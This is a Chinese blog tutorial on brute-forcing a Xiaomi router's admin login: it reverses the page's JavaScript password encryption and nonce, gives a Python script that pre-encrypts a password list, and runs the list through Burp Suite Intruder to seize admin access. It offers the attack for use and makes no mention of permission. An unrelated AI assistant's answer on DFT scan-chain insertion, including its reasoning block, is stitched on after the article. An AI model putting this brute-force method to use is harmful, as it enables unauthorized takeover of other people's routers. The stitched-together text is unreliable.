小米路由器管理员密码爆破!

本文详细介绍了如何通过Python脚本结合Burp Suite工具,对小米路由器管理员密码进行爆破。首先分析了加密过程,然后读取前端源码找到加密方法,接着编写Python脚本调用JavaScript加密函数,生成加密后的字典。最后在Burp Suite中使用Intruder模块进行爆破,成功获取管理员权限。
部署运行你感兴趣的模型镜像
更多渗透技能 ,10余本电子书及渗透工具包,搜公众号:白帽子左一

目的

路由器管理员密码未知,根据已有字典爆破出管理员密码。

工具:burpsuite

脚本语言:python3.7+

1. 抓包分析

输入小米路由器管理员界面地址192.168.31.1

管理员密码未知
在这里插入图片描述

输入测试密码:123
使用burpsuite抓包2次 分别查看抓包结果

第一次抓包结果:

图片

第二次抓包结果:

图片

可以发现即使2次输入相同的密码123,向服务器发送的password和nonce字段也是不一样的。

由此可以判断所输入的密码经过了加密,且存在随机数。不能直接通过字典来爆破,需要将字典加密,并附带一个随机数nonce。

2. 源码读取

读取前端源码

f12选取页面中的元素,查看按钮id:btnRtSubmit

图片

在调试器的web文件中查找按钮btnRtSubmit调用的方法

图片

发现方法为loginHandle

查看loginHandle源码

图片

发现密码经过了Encrypt方法加密

查看Encrpty.oldPwd方法源代码

图片

发现oldPwd方法调用了目录中aes.js和sha1.js两个源文件

3. 编写脚本代码

所以计划通过python脚本调用js,将字典中数据加密,返回值为password和nonce。
JS代码(Encrypt.js)做了如下修改:

1.修改function loginHandle()

图片

传入值为前端文本框输入的值,输出值为经过oldPwd函数输出的值(抓包中的password值)和Encrypt方法初始化时生成的nonce(抓包中的nonce值)

2.将oldPwd所用到的Encrypt方法和CryptoJS方法写在同一个js文件中,代码截图如下

图片

Python脚本如下

import urllib

import execjs # 导入PyExecJS 库

def get_js(): # 导入js文件
f = open(“Encrypt.js”, ‘r’, encoding=‘UTF-8’)
line = f.readline()
htmlstr = ‘’
while line:
htmlstr = htmlstr + line
line = f.readline()
return htmlstr

jsstr = get_js()
ctx = execjs.compile(jsstr)

def creative_book(): # 创建密文密码字典
f = open(“top100PWD.txt”)
for line in f:
r = line.strip(’\n’)
utf = ctx.call(‘loginHandle’, r)
h = open(‘adobe_top100_pass_creative.txt’, ‘a’)
h1 = open(‘adobe_top100_pass_creative_random.txt’, ‘a’)
h.write("\n" + utf[0])
h1.write("\n" + urllib.parse.quote(utf[1]))
print(utf[0], urllib.parse.quote(utf[1]))
h.close()
h1.close()
f.close()

creative_book()
生成2个字典adobe_top100_pass_creative.txt和adobe_top100_pass_creative_random.txt
分别存放password和nonce。
截图如下

图片

图片

4. 爆破

以上步骤完成后,生成所需字典完毕,开始使用burpsuite攻击

将所抓的包发送至Intruder

选择Pitchfork,需要爆破的字段为password和nonce。

图片

在Payloads中加载2个字典

图片

图片

点击Start attack开始攻击

攻击完成后点击length长度排序,发现异常长度

图片

查看该请求包的回应包

图片

code字段为0,分发了token,表明密码正确。

释放修改password和nonce字段为Payload1和Payload2,释放数据包。

图片

成功取得管理员权限!

源代码

https://github.com/h2so0o4/Admin_Intruder

本文来源:http://33h.co/w8f8i

参考资料

https://blog.csdn.net/x1t02m/article/details/81949572
https://t0data.gitbooks.io/burpsuite/content/chapter8.html

在这里插入图片描述
在这里插入图片描述

您可能感兴趣的与本文相关的镜像

Python3.9

Python3.9

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

<think> 嗯,用户这次询问的是DFT能否在RTL阶段串scan chain的问题。从之前的对话历史看,用户似乎正在研究数字电路测试技术,特别是scan chain的实现流程。用户引用了三篇关于DFTscan chain的技术资料,内容涉及scan chain的基本原理、结构特点以及设计流程。 用户可能是个数字IC设计工程师或者DFT工程师,正在评估项目流程。ta的问题非常具体,说明对DFT有一定基础认知,但可能对设计阶段划分还不够清晰。深层需求应该是想确认RTL阶段进行scan chain插入的可行性,以及是否需要调整现有设计流程。 关于技术点本身:scan chain的核心是用MUX-DFF替换普通DFF,再将它们串接。这个过程需要完整的触发器网表信息,而RTL代码尚未综合成具体门级电路。主流工具如Synopsys DFT Compiler、Cadence Modus都是在gate-level完成scan chain插入。不过RTL阶段可以做一些准备工作: 第一类是DFT Rule Checking,比如扫描链长度均衡性分析、时钟域交叉检查等。第二类是RTL Design for Test,比如预先标注扫描控制信号、规划扫描链拓扑结构。第三类是插入专用的扫描压缩逻辑(Scan Compression),这类IP通常需要在RTL阶段例化。 特别值得注意的是异步复位处理问题。引用[3]提到异步复位触发器需要同步化处理,这个在RTL阶段就需要设计好复位同步电路,否则后期插scan chain会遇到时序问题。 用户上次的问题聚焦在scan chain原理,这次延伸到实现阶段,说明ta可能在制定项目计划。需要强调流程中的关键节点:RTL完成DFT设计规范→综合生成gate-level网表→正式scan chain插入→DFT规则检查→测试向量生成。 考虑到用户的技术水平,回复要避免过于基础的解释,重点说明阶段划分和技术限制。可以补充两点:其一是RTL仿真时如何验证扫描控制逻辑,其二是UPF对scan chain电源管理的影响——虽然用户没直接问,但可能是后续会遇到的关联问题。 </think> DFT(可测试性设计)的扫描链(Scan Chain)插入**通常不在RTL阶段完成**,而是在**逻辑综合后的门级网表阶段**进行。以下是具体分析: --- ### 一、扫描链插入的流程 1. **RTL设计阶段** 此阶段主要完成功能设计: - 设计RTL代码(Verilog/VHDL),定义模块功能和接口。 - **预先规划DFT需求**:例如标注扫描控制信号(`scan_enable`, `scan_in`, `scan_out`),但**不直接插入扫描链**。 - 代码需满足DFT规则(如避免异步复位、锁存器等)。 2. **逻辑综合阶段** 综合工具将RTL转换为门级网表: - **替换扫描单元**:工具将普通触发器(DFF)替换为带多路选择器的扫描触发器(Scan DFF)[^2]。 - **建立扫描链拓扑**:指定扫描链的串接顺序(例如按物理位置或时序优化)。 3. **扫描链插入(Post-Synthesis)** **关键步骤发生在综合后**: - 工具(如Synopsys DFT Compiler)将Scan DFF首尾连接(`Q → SI`),形成完整扫描链[^1][^2]。 - 生成全局扫描控制信号(`SE`, `SI`, `SO`)的顶层连接。 4. **物理实现阶段** 扫描链的布局布线需考虑物理约束(如时钟偏移、走线长度)。 --- ### 二、RTL阶段的可操作内容 虽然扫描链不在RTL阶段串接,但需提前准备: 1. **DFT友好设计**: - 避免使用全局异步复位,改为同步复位或复位同步化[^3]。 - 禁用锁存器(或转换为DFF)。 2. **扫描控制信号预留**: ```verilog module top ( input scan_enable, // 扫描使能信号 input scan_in, // 扫描输入 output scan_out // 扫描输出 ); ``` 3. **DFT约束标注**: - 在RTL中通过注释或属性指定扫描链分组(如`// synopsys dc_script`)。 --- ### 三、RTL阶段插入的局限性 1. **物理信息缺失**: - RTL无具体门电路和布线信息,无法优化扫描链长度与时序。 2. **工具依赖**: - 扫描链插入依赖综合工具(如Design Compiler)的DFT插件,需基于门级网表操作[^3]。 3. **规则冲突风险**: - 若RTL违反DFT规则(如组合逻辑反馈),后期修复成本高。 --- ### 四、总结 | **阶段** | **DFT相关操作** | |----------------|------------------------------------------| | **RTL设计** | 预留信号、DFT规则检查、代码优化 | | **逻辑综合** | 替换Scan DFF,插入扫描链 **✓** | | **物理实现** | 扫描链布线,时序收敛 | > **结论**:扫描链的实质性串接需在逻辑综合后完成,但RTL阶段需提前规划DFT架构并预留接口[^1][^2][^3]。 --- ###
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值